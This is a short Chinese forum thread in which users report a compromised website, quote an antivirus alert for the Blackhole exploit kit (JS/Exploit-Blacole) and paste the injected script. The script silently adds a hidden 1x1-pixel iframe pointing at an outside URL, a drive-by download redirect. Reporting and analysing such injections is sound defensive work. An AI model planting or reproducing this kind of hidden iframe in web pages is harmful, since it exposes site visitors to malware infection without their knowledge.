http://www.kyem.it/index.php

墨家小子

2013/4/12        13:32:34        已删除         l\AA        C:\Program Files (x86)\Internet Explorer\iexplore.exe        C:\Sandbox\AA\IE\user\current\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\U2Z5UWDO\index[1].htm        JS/Exploit-Blacole.gc (特洛伊)

哀酱俏佳人

(function () {
    var t = document.createElement('iframe');

    t.src = 'http://www.philchor-nb.de
/demo/counter.php';
    t.style.position = 'absolute';
    t.style.border = '0';
    t.style.height
= '1px';
    t.style.width = '1px';
    t.style.left = '1px';
    t.style.top = '1px';

    if (!doc
ument.getElementById('t')) {
        document.write('<div id=\'t\'></div>
');
        document.getElementById('t').appendChild(t);
    }
})();

一模一样的代码就是挂马的链接不同。。

墨家小子

哀酱俏佳人 发表于 2013-4-12 13:37

现在的人啊 越来越不好骗了

哀酱俏佳人

墨家小子 发表于 2013-4-12 13:42
现在的人啊 越来越不好骗了

看来是一个系列的